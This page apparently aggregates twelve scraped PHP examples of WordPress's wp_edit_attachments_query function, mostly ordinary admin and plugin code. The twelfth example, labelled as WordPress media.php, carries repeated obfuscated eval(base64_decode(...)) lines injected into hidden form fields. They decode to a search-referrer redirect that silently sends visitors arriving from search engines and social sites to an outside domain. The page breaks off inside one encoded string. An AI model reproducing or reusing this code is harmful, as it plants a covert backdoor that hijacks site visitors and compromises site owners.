• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP wp_edit_attachments_query函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中wp_edit_attachments_query函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_edit_attachments_query函数的具体用法?PHP wp_edit_attachments_query怎么用?PHP wp_edit_attachments_query使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了wp_edit_attachments_query函数的12个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: prepare_items

 public function prepare_items()
 {
     global $wp_query, $post_mime_types, $avail_post_mime_types, $mode;
     list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query($_REQUEST);
     $this->is_trash = isset($_REQUEST['attachment-filter']) && 'trash' == $_REQUEST['attachment-filter'];
     $mode = empty($_REQUEST['mode']) ? 'list' : $_REQUEST['mode'];
     $this->set_pagination_args(array('total_items' => $wp_query->found_posts, 'total_pages' => $wp_query->max_num_pages, 'per_page' => $wp_query->query_vars['posts_per_page']));
 }
开发者ID:ajspencer,项目名称:NCSSM-SG-WordPress,代码行数:8,代码来源:class-wp-media-list-table.php


示例2: prepare_items

 function prepare_items()
 {
     global $lost, $wpdb, $wp_query, $post_mime_types, $avail_post_mime_types;
     $q = $_REQUEST;
     if (!empty($lost)) {
         $q['post__in'] = implode(',', $lost);
     }
     list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query($q);
     $this->is_trash = isset($_REQUEST['status']) && 'trash' == $_REQUEST['status'];
     $this->set_pagination_args(array('total_items' => $wp_query->found_posts, 'total_pages' => $wp_query->max_num_pages, 'per_page' => $wp_query->query_vars['posts_per_page']));
 }
开发者ID:par-orillonsoft,项目名称:Wishmagnet,代码行数:11,代码来源:class-wp-media-list-table.php


示例3: prepare_items

 function prepare_items()
 {
     global $lost, $wpdb, $wp_query, $post_mime_types, $avail_post_mime_types;
     $q = $_REQUEST;
     if (!empty($lost)) {
         $q['post__in'] = implode(',', $lost);
     }
     add_filter('posts_where', array(&$this, 'modify_post_status_to_private'));
     list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query($q);
     $this->is_trash = isset($_REQUEST['status']) && 'trash' == $_REQUEST['status'];
     $this->set_pagination_args(array('total_items' => $wp_query->found_posts, 'total_pages' => $wp_query->max_num_pages, 'per_page' => $wp_query->query_vars['posts_per_page']));
     $this->items = $wp_query->posts;
     $columns = $this->get_columns();
     $hidden = array('id');
     $this->_column_headers = array($columns, $hidden, $this->get_sortable_columns());
     remove_filter('posts_where', array(&$this, 'modify_post_status_to_private'));
 }
开发者ID:sangikumar,项目名称:IP,代码行数:17,代码来源:class-frontend-uploader-wp-posts-list-table.php


示例4: media_upload_library_form

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param array $errors
 */
function media_upload_library_form($errors)
{
    global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
    media_upload_header();
    $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
    $form_action_url = admin_url("media-upload.php?type={$type}&tab=library&post_id={$post_id}");
    /** This filter is documented in wp-admin/includes/media.php */
    $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
    $form_class = 'media-upload-form validate';
    if (get_user_setting('uploader')) {
        $form_class .= ' html-uploader';
    }
    $q = $_GET;
    $q['posts_per_page'] = 10;
    $q['paged'] = isset($q['paged']) ? intval($q['paged']) : 0;
    if ($q['paged'] < 1) {
        $q['paged'] = 1;
    }
    $q['offset'] = ($q['paged'] - 1) * 10;
    if ($q['offset'] < 1) {
        $q['offset'] = 0;
    }
    list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query($q);
    ?>

<form id="filter" action="" method="get">
<input type="hidden" name="type" value="<?php 
    echo esc_attr($type);
    ?>
" />
<input type="hidden" name="tab" value="<?php 
    echo esc_attr($tab);
    ?>
" />
<input type="hidden" name="post_id" value="<?php 
    echo (int) $post_id;
    ?>
" />
<input type="hidden" name="post_mime_type" value="<?php 
    echo isset($_GET['post_mime_type']) ? esc_attr($_GET['post_mime_type']) : '';
    ?>
" />
<input type="hidden" name="context" value="<?php 
    echo isset($_GET['context']) ? esc_attr($_GET['context']) : '';
    ?>
" />

<p id="media-search" class="search-box">
	<label class="screen-reader-text" for="media-search-input"><?php 
    _e('Search Media');
    ?>
:</label>
	<input type="search" id="media-search-input" name="s" value="<?php 
    the_search_query();
    ?>
" />
	<?php 
    submit_button(__('Search Media'), 'button', '', false);
    ?>
</p>

<ul class="subsubsub">
<?php 
    $type_links = array();
    $_num_posts = (array) wp_count_attachments();
    $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
    foreach ($matches as $_type => $reals) {
        foreach ($reals as $real) {
            if (isset($num_posts[$_type])) {
                $num_posts[$_type] += $_num_posts[$real];
            } else {
                $num_posts[$_type] = $_num_posts[$real];
            }
        }
    }
    // If available type specified by media button clicked, filter by that type
    if (empty($_GET['post_mime_type']) && !empty($num_posts[$type])) {
        $_GET['post_mime_type'] = $type;
        list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    }
    if (empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all') {
        $class = ' class="current"';
    } else {
        $class = '';
    }
    $type_links[] = '<li><a href="' . esc_url(add_query_arg(array('post_mime_type' => 'all', 'paged' => false, 'm' => false))) . '"' . $class . '>' . __('All Types') . '</a>';
    foreach ($post_mime_types as $mime_type => $label) {
        $class = '';
        if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
            continue;
        }
        if (isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type'])) {
            $class = ' class="current"';
//.........这里部分代码省略.........
开发者ID:HaraShun,项目名称:WordPress,代码行数:101,代码来源:media.php


示例5: media_upload_library_form

/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $errors
 */
function media_upload_library_form($errors)
{
    global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
    media_upload_header();
    $post_id = intval($_REQUEST['post_id']);
    $form_action_url = admin_url("media-upload.php?type={$GLOBALS['type']}&tab=library&post_id={$post_id}");
    $_GET['paged'] = isset($_GET['paged']) ? intval($_GET['paged']) : 0;
    if ($_GET['paged'] < 1) {
        $_GET['paged'] = 1;
    }
    $start = ($_GET['paged'] - 1) * 10;
    if ($start < 1) {
        $start = 0;
    }
    add_filter('post_limits', $limit_filter = create_function('$a', "return 'LIMIT {$start}, 10';"));
    list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    ?>

<form id="filter" action="" method="get">
<input type="hidden" name="type" value="<?php 
    echo esc_attr($type);
    ?>
" />
<input type="hidden" name="tab" value="<?php 
    echo esc_attr($tab);
    ?>
" />
<input type="hidden" name="post_id" value="<?php 
    echo (int) $post_id;
    ?>
" />
<input type="hidden" name="post_mime_type" value="<?php 
    echo isset($_GET['post_mime_type']) ? esc_attr($_GET['post_mime_type']) : '';
    ?>
" />

<p id="media-search" class="search-box">
	<label class="screen-reader-text" for="media-search-input"><?php 
    _e('Search Media');
    ?>
:</label>
	<input type="text" id="media-search-input" name="s" value="<?php 
    the_search_query();
    ?>
" />
	<input type="submit" value="<?php 
    esc_attr_e('Search Media');
    ?>
" class="button" />
</p>

<ul class="subsubsub">
<?php 
    $type_links = array();
    $_num_posts = (array) wp_count_attachments();
    $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
    foreach ($matches as $_type => $reals) {
        foreach ($reals as $real) {
            if (isset($num_posts[$_type])) {
                $num_posts[$_type] += $_num_posts[$real];
            } else {
                $num_posts[$_type] = $_num_posts[$real];
            }
        }
    }
    // If available type specified by media button clicked, filter by that type
    if (empty($_GET['post_mime_type']) && !empty($num_posts[$type])) {
        $_GET['post_mime_type'] = $type;
        list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    }
    if (empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all') {
        $class = ' class="current"';
    } else {
        $class = '';
    }
    $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type' => 'all', 'paged' => false, 'm' => false))) . "'{$class}>" . __('All Types') . "</a>";
    foreach ($post_mime_types as $mime_type => $label) {
        $class = '';
        if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
            continue;
        }
        if (isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type'])) {
            $class = ' class="current"';
        }
        $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type' => $mime_type, 'paged' => false))) . "'{$class}>" . sprintf(_n($label[2][0], $label[2][1], $num_posts[$mime_type]), "<span id='{$mime_type}-counter'>" . number_format_i18n($num_posts[$mime_type]) . '</span>') . '</a>';
    }
    echo implode(' | </li>', $type_links) . '</li>';
    unset($type_links);
    ?>
</ul>

<div class="tablenav">

//.........这里部分代码省略.........
开发者ID:Alenjandro,项目名称:data-my-share,代码行数:101,代码来源:media.php


示例6: ceil

        $page_links_total = ceil(count($lost) / 50);
        $lost = implode(',', $lost);
        $orphans = $wpdb->get_results("SELECT * FROM {$wpdb->posts} WHERE post_type = 'attachment' AND ID IN ({$lost}) LIMIT {$start}, 50");
    } else {
        $start = ($_GET['paged'] - 1) * 25;
        $orphans = $wpdb->get_results("SELECT SQL_CALC_FOUND_ROWS * FROM {$wpdb->posts} WHERE post_type = 'attachment' AND post_parent < 1 LIMIT {$start}, 25");
        $page_links_total = ceil($wpdb->get_var("SELECT FOUND_ROWS()") / 25);
    }
    $post_mime_types = array('image' => array(__('Images'), __('Manage Images'), _n_noop('Image (%s)', 'Images (%s)')), 'audio' => array(__('Audio'), __('Manage Audio'), _n_noop('Audio (%s)', 'Audio (%s)')), 'video' => array(__('Video'), __('Manage Video'), _n_noop('Video (%s)', 'Video (%s)')));
    $post_mime_types = apply_filters('post_mime_types', $post_mime_types);
    $avail_post_mime_types = get_available_post_mime_types('attachment');
    if (isset($_GET['post_mime_type']) && !array_intersect((array) $_GET['post_mime_type'], array_keys($post_mime_types))) {
        unset($_GET['post_mime_type']);
    }
} else {
    list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
}
wp_enqueue_script('media');
require_once 'admin-header.php';
?>

<?php 
if (isset($_GET['posted']) && (int) $_GET['posted']) {
    $_GET['message'] = '1';
    $_SERVER['REQUEST_URI'] = remove_query_arg(array('posted'), $_SERVER['REQUEST_URI']);
}
if (isset($_GET['attached']) && (int) $_GET['attached']) {
    $attached = (int) $_GET['attached'];
    $message = sprintf(_n('Reattached %d attachment', 'Reattached %d attachments', $attached), $attached);
    $_SERVER['REQUEST_URI'] = remove_query_arg(array('attached'), $_SERVER['REQUEST_URI']);
}
开发者ID:papayalabs,项目名称:htdocs,代码行数:31,代码来源:upload.php


示例7: popup_wp_browse

    function popup_wp_browse($errors)
    {
        echo $this->messages(true);
        ?>
<div id="overlay"><img id="loader" src="<?php 
        echo WYSIJA_URL;
        ?>
img/wpspin_light.gif" /></div>
        <div class="popup_content media-wp-browse">
            <?php 
        global $redir_tab, $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
        $redir_tab = 'wp_browse';
        media_upload_header();
        $limit = 20;
        $_GET['paged'] = isset($_GET['paged']) ? intval($_GET['paged']) : 0;
        if ($_GET['paged'] < 1) {
            $_GET['paged'] = 1;
        }
        $start = ($_GET['paged'] - 1) * $limit;
        if ($start < 1) {
            $start = 0;
        }
        add_filter('post_limits', create_function('$a', "return 'LIMIT {$start}, {$limit}';"));
        add_filter('posts_where_paged', array($this, '__filterPostParent'));
        //add_filter( 'posts_where_paged', create_function( '$a', "return ' AND post_parent!=1' " ) );
        //$attachment->post_parent==$_REQUEST['post_id']
        list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
        ?>

            <form enctype="multipart/form-data" method="post" action="" class="media-upload-form validate" id="library-form">

                <div class="tablenav">

                    <?php 
        $page_links = paginate_links(array('base' => add_query_arg('paged', '%#%'), 'format' => '', 'prev_text' => __('&laquo;'), 'next_text' => __('&raquo;'), 'total' => ceil($wp_query->found_posts / $limit), 'current' => $_GET['paged']));
        if ($page_links) {
            echo "<div class='tablenav-pages'>{$page_links}</div>";
        }
        ?>
                </div>


                <?php 
        $secure = array('action' => "medias");
        $this->secure($secure);
        ?>

                <div id="media-items" class="clearfix"><?php 
        echo $this->_get_media_items(null, $errors, true);
        ?>
</div>
            </form>

            <?php 
        $this->_alt_close();
        ?>
        </div>
        <?php 
    }
开发者ID:sontv1003,项目名称:fashionbeans,代码行数:59,代码来源:campaigns.php


示例8: media_upload_shared_media

    /**
     * {@internal Missing Short Description}}
     *
     * @since 2.5.0
     *
     * @param unknown_type $errors
     */
    function media_upload_shared_media($errors)
    {
        global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types, $blog_id;
        media_upload_header();
        if (count($this->blogs) == 0) {
            echo '<form><h3 class="media-title">' . __("You don't have access to any other sites media...", 'networksharedmedia') . '</h3></form>';
            return;
        }
        // set the first part of the form action url now, to the current active site, to prevent X-Frame-Options problems
        $form_action_url = plugins_url('media-upload.php', __FILE__);
        $nsm_blog_id = null;
        if (!array_key_exists('blog_id', $_GET)) {
            $_GET['blog_id'] = null;
        }
        foreach ($this->blogs as $blog) {
            if ($_GET['blog_id'] == $blog['blog_id']) {
                $nsm_blog_id = $blog['blog_id'];
                break;
            }
        }
        if (null == $nsm_blog_id) {
            $nsm_blog_id = $this->blogs[0]['blog_id'];
        }
        switch_to_blog($nsm_blog_id);
        ?>

<?php 
        $post_id = intval($_REQUEST['post_id']);
        // fix to make get_media_item add "Insert" button
        unset($_GET['post_id']);
        $form_action_url .= "?type={$type}&tab=library&post_id={$post_id}&blog_id={$blog_id}";
        $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
        $form_class = 'media-upload-form validate';
        $_GET['paged'] = isset($_GET['paged']) ? intval($_GET['paged']) : 0;
        if ($_GET['paged'] < 1) {
            $_GET['paged'] = 1;
        }
        $start = ($_GET['paged'] - 1) * 10;
        if ($start < 1) {
            $start = 0;
        }
        add_filter('post_limits', create_function('$a', "return 'LIMIT {$start}, 10';"));
        list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
        ?>
	
	<form id="filter" action="" method="get">
	<input type="hidden" name="type" value="<?php 
        echo esc_attr($type);
        ?>
" />
	<input type="hidden" name="tab" value="<?php 
        echo esc_attr($tab);
        ?>
" />
	<input type="hidden" name="post_id" value="<?php 
        echo (int) $post_id;
        ?>
" />
	<input type="hidden" name="blog_id" value="<?php 
        echo (int) $blog_id;
        ?>
" />
	<input type="hidden" name="post_mime_type" value="<?php 
        echo isset($_GET['post_mime_type']) ? esc_attr($_GET['post_mime_type']) : '';
        ?>
" />
	<?php 
        if (isset($_GET['chromeless'])) {
            ?>
	<input type="hidden" name="chromeless" value="<?php 
            echo (bool) $_GET['chromeless'];
            ?>
" />
	<?php 
        }
        ?>

	<style type="text/css">
		#media-upload #filter .nsm-site-select { float: none; width: 100%; margin: 0 1em 2em 1em; white-space: normal; }
	</style>

	<ul class="subsubsub nsm-site-select">
	<?php 
        if (count($this->blogs) == 1) {
            $blog = reset($this->blogs);
            echo "<li>" . __('Selected site:', 'networksharedmedia') . "</li>" . "<li><a href='" . esc_url(add_query_arg(array('blog_id' => $blog['blog_id'], 'paged' => false))) . "' class='current'>" . $blog['name'] . '</a>' . '</li>';
        } else {
            $all_blog_names = array();
            foreach ($this->blogs as $blog) {
                $all_blog_names[] = $blog['name'];
            }
            if (strlen(__('Select site:', 'networksharedmedia') . ' ' . implode(' | ', $all_blog_names)) < 71) {
                $blog_links = array();
//.........这里部分代码省略.........
开发者ID:Buooy,项目名称:wp_network_shared_media,代码行数:101,代码来源:network_shared_media.php


示例9: prepare_items

 /**
  * Return only avatars and paginate results
  * @since 1.8
  * @uses array $avatars
  * @uses wp_edit_attachments_query()
  */
 public function prepare_items()
 {
     global $avail_post_mime_types, $avatars, $lost, $post, $post_mime_types, $wp_query, $wpdb;
     $q = $_REQUEST;
     $q['post__in'] = $avatars;
     list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query($q);
     $this->is_trash = isset($_REQUEST['status']) && $_REQUEST['status'] == 'trash';
     $this->set_pagination_args(array('total_items' => $wp_query->found_posts, 'total_pages' => $wp_query->max_num_pages, 'per_page' => $wp_query->query_vars['posts_per_page']));
 }
开发者ID:tuanlibra,项目名称:thptxuanang,代码行数:15,代码来源:class-wp-user-avatar-list-table.php


示例10: getContentList

 public function getContentList()
 {
     global $wpdb, $wp_query, $post_mime_types;
     $_GET['paged'] = isset($_GET['paged']) ? intval($_GET['paged']) : 0;
     if ($_GET['paged'] < 1) {
         $_GET['paged'] = 1;
     }
     $start = ($_GET['paged'] - 1) * $this->pageLimit;
     if ($start < 1) {
         $start = 0;
     }
     add_filter('post_limits', create_function('$a', "return 'LIMIT {$start}, {$this->pageLimit}';"));
     list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
     /* Add selected media items to selected items block */
     foreach ($this->selected_ids as $id) {
         if ($item = $this->getMediaItem($id, array('errors' => isset($this->errors[$id]) ? $this->errors[$id] : null))) {
             $this->selected_objects_list .= "\n{$item}\n";
         }
     }
     ?>
     <ul id="wpb_media-items">
         <?php 
     add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
     ?>
         <?php 
     echo $this->showImagesList(null, $this->errors);
     ?>
     </ul>
     <div style="clear:both;"></div>
     <?php 
     $page_links = paginate_links(array('base' => esc_url(add_query_arg('paged', '%#%')), 'format' => '', 'prev_text' => __('&laquo;'), 'next_text' => __('&raquo;'), 'total' => ceil($wp_query->found_posts / $this->pageLimit), 'current' => $_GET['paged']));
     if ($page_links) {
         echo '<br/><div class="tablenav"><div id="wpb_spinner" style="display: none;"> ' . __("Loading, please wait...", "js_composer") . '</div><div class="tablenav-pages">' . $page_links . '</div></div>';
     }
 }
开发者ID:nilmadhab,项目名称:webtutplus,代码行数:35,代码来源:media_tab.php


示例11: onUploadTabs

 /**
  * Filter Media Library Upload Tabs
  *
  * This removes the 'From Url' and 'From Gallery' tabs. See wp-admin/includes/media.php
  * It also removes the 'NextGEN Gallery' tab, and inserts our own 'Downlaod from URL' tab
  *
  * @param array $tabs The list of tabs to be displayed (type => title association)
  */
 public function onUploadTabs($tabs)
 {
     global $wpdb;
     unset($tabs['type_url']);
     unset($tabs['gallery']);
     unset($tabs['nextgen']);
     // Insert the 'Download from URL' uploader
     if (current_user_can('upload_files')) {
         $bgm_url_title = __('Download from URL', $this->owner->getName());
         if (count($tabs) > 1) {
             // Insert it immediately after the first tab
             $c = 0;
             $_tabs = array();
             foreach ($tabs as $tab_idx => $tab) {
                 if ($c == 1) {
                     $_tabs['bgm_url'] = $bgm_url_title;
                 }
                 $_tabs[$tab_idx] = $tab;
                 $c++;
             }
             $tabs = $_tabs;
         } else {
             $tabs['bgm_url'] = $bgm_url_title;
         }
     }
     // Grab a count of available mime types
     list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
     $num_posts = array();
     $_num_posts = (array) wp_count_attachments();
     $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
     foreach ($matches as $_type => $reals) {
         foreach ($reals as $real) {
             if (isset($num_posts[$_type])) {
                 $num_posts[$_type] += $_num_posts[$real];
             } else {
                 $num_posts[$_type] = $_num_posts[$real];
             }
         }
     }
     // If we don't have anything in 'images' (or any other type a 3rd party allows us to use), hide `Library` tab too.
     if (empty($num_posts)) {
         unset($tabs['library']);
     }
     return $tabs;
 }
开发者ID:zhengxiexie,项目名称:wordpress,代码行数:53,代码来源:MediaLibrary.php


示例12: media_upload_library_form

/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $errors
 */
function media_upload_library_form($errors)
{
    global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
    media_upload_header();
    $post_id = intval($_REQUEST['post_id']);
    $form_action_url = admin_url("media-upload.php?type={$type}&tab=library&post_id={$post_id}");
    $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
    $_GET['paged'] = isset($_GET['paged']) ? intval($_GET['paged']) : 0;
    if ($_GET['paged'] < 1) {
        $_GET['paged'] = 1;
    }
    $start = ($_GET['paged'] - 1) * 10;
    if ($start < 1) {
        $start = 0;
    }
    add_filter('post_limits', $limit_filter = create_function('$a', "return 'LIMIT {$start}, 10';"));
    list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    ?>

<form id="filter" action="" method="get">
<input type="hidden" name="type" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo esc_attr($type);
    ?>
" />
<input type="hidden" name="tab" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo esc_attr($tab);
    ?>
" />
<input type="hidden" name="post_id" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo (int) $post_id;
    ?>
" />
<input type="hidden" name="post_mime_type" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZX